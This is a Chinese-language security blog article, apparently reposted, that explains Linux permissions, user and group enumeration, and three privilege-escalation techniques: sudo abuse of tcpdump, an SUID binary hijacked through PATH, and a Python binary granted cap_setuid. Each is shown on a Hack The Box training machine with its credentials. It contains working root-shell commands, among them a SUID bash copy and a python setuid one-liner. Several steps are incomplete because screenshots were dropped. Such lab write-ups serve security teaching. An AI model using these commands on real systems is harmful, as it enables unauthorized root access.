Linux权限提升基础

admin 2026-01-08 02:04:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入讲解了Linux权限提升的基础原理,包括用户组权限机制与枚举技巧。重点演示了利用sudo配置不当滥用tcpdump、SUID程序结合PATH劫持以及Capabilities赋予Python高权限这三种提权技术。通过真实靶机案例,强调了枚举与分析在发现提权路径中的关键作用,为掌握提权技能提供了实操参考。 综合评分: 89 文章分类: 渗透测试,实战经验,内网渗透


cover_image

Linux 权限提升基础

haidragon

安全狗的自我修养

2026年1月7日 12:17 湖南

官网:http://securitytech.cc/

#

你好,我们将一起学习 Linux 权限提升(Privilege Escalation) 的基础知识,包括必须掌握的重要命令,以及一些可以用来拿到那“甜美的 root shell”的技术。如果你对这个主题感兴趣,那就跟我一起深入吧。


什么是权限提升(Privilege Escalation)?

权限提升(Privilege Escalation,简称 PrivEsc)是指从一个 低权限用户 提升到 高权限用户 的过程。 这通常是由于操作系统或其应用程序中存在 漏洞、错误配置或不安全的权限设置 所导致的。

权限提升通常分为两种类型:

  • 纵向权限提升(Vertical Privilege Escalation): 从普通用户提升到管理员 / root。
  • 横向权限提升(Horizontal Privilege Escalation): 从一个普通用户切换到另一个普通用户。

Linux 权限是如何工作的?

要理解权限提升,首先必须理解 Linux 的权限机制。

在 Linux 中,权限定义了 谁可以对文件进行读取(read)、写入(write)和执行(execute)。 权限分别分配给:

  • 文件所有者(owner)
  • 所属组(group)
  • 其他用户(others)

查看文件权限可以使用以下命令:

ls -la {filename}

在示例中,这是一个普通的 .PHP 文件,其权限字符串为:

-rw-r--r--

权限始终由 10 个字符组成:

  • 第 1 个字符:是否为目录
  • 后 9 个字符:分为三组(owner / group / others)

对示例权限的解读如下:

  • 第一个 -:表示这是一个文件,而不是目录
  • rw-:所有者可读、可写、不可执行
  • r--:组用户只能读取
  • r--:其他用户只能读取

再看一个可执行文件的例子:

  • -:不是目录
  • rwx:所有者可读、可写、可执行
  • r-x:组用户可读、可执行
  • r-x:其他用户可读、可执行

用户(Users)

Linux 用户通常分为三类:

  • Root 用户: 也称超级用户(Superuser),拥有系统的最高权限,可以访问所有文件和命令,并管理其他账户。
  • 普通用户: 标准用户,只能访问自己的文件,通常位于 /home/username
  • 系统用户: 用于运行后台服务(如 Web 服务器、数据库)的账户。

id 命令用于显示当前用户的:

  • 用户 ID(UID)
  • 主组 ID(GID)
  • 所属组列表

也可以查看其他用户的信息,例如:

id root

root 的 UID 永远是 0

按回车或点击查看大图:

这是权限提升中 最重要的命令之一,因为它能直接告诉我们当前用户的权限级别以及所属的用户组,这些信息往往已经隐含了潜在的提权路径。

另一个非常重要的命令是:

sudo -l

该命令会列出当前用户 允许以 root 权限执行的命令,并告诉我们该用户是否能使用 sudo。后面你会看到它为何如此关键。


枚举系统中的用户

系统中的用户信息存储在 /etc/passwd 文件中:

cat /etc/passwd

若只想获取用户名列表:

cat /etc/passwd | cut -d ":" -f 1
  • -d ":":以 : 作为分隔符
  • -f 1:取第一个字段(用户名)

普通用户通常拥有 /home 目录,可以这样筛选:

cat /etc/passwd | grep /home

查看当前登录用户的命令包括:

  • who
  • w
  • users


用户组(Groups)

用户组在权限提升中扮演着非常重要的角色。 属于某些特定组,往往意味着:

  • 更高权限
  • 对敏感信息的访问
  • 可被滥用的系统工具

常见可被滥用的用户组包括:

  • sudo:可使用 sudo 以 root 身份执行命令
  • root:直接拥有 root 权限
  • adm:可读取 /var/log 下的日志(可能包含凭据)
  • docker:可启动特权容器获取宿主机 root
  • lxd/lxc:同样可构造特权容器并挂载宿主文件系统
  • disk:直接访问磁盘原始数据

查看用户所属组:

id
groups


权限提升技术(Techniques)

权限提升不存在“万能都需要 枚举 → 分析 → 利用,找到适合的提权路径。

接下来我们将通过 Hack The Box 的真实靶机,学习三种常见提权方式:

  • sudo
  • SUID
  • Capabilities

Sudo 提权

示例来自 Strutted 靶机。

通过 CVE-2024-53677 漏洞拿到初始权限后,我们获得了如下用户凭据:

username: james
password: IT14d6SSP81k

SSH 登录:

ssh [email protected]

查看系统信息:

uname -a

检查 sudo 权限:

sudo -l

发现可以 无需密码以 root 身份运行 tcpdump,这是一个明显的提权s:

GTFOBins 是一个整理好的 Unix 二进制程序滥用列表,可用于逃逸受限 shell、权限提升、维持高权限、文件传输、反弹 shell 等。

我们将 id 换成拷贝 bash 的命令:

COMMAND='cp /bin/bash /tmp/my_bash && chmod +s /tmp/my_bash'

这样会生成一个 带 SUID 的 root bash

检查权限:

执行:

🎯 成功通过 sudo 滥用完成提权。


SUID 提权

示例来自 Oopsie。

用户凭据:

username: robert
password: M3g4C0rpUs3r!

该用户无法使用 sudo,但属于 bugtracker 组:

查找该组可执行文件:

find / -group bugtracker 2>/dev/null

发现:

/usr/bin/bugtracker

权限如下:

注意 rws,表示 SUID 位已设置,且 owner 是 root。

程序调用了未使用绝对路径的 cat,可通过 PATH 劫持 提权:

export PATH=/tmp:$PATH

构造恶意 cat

执行 bugtracker 后:

🎯 获得 root shell。


Capabilities 提权

示例来自 Cap。

凭据:

username: nathan
password: Buck3tH4TF0RM3!

枚举 capabilities:

getcap -r / 2>/dev/null

发现:

/usr/bin/python3.8 = cap_setuid+ep

利用方式:

/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

🎯 成功提权为 root。


总结

在本文中,我们学习了 Linux 权限提升的基础知识,并通过三个真实场景演示了:

  • sudo 滥用
  • SUID 滥用
  • Capabilities 滥用

权限提升是一项需要不断练习和积累经验的技能,希望这篇文章能对你有所帮助,也能激发你继续深入学习。

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon《Linux 权限提升基础》

Linux权限提升基础 网络安全文章

Linux权限提升基础

文章总结: 本文深入讲解了Linux权限提升的基础原理,包括用户组权限机制与枚举技巧。重点演示了利用sudo配置不当滥用tcpdump、SUID程序结合PATH
评论:0   参与:  0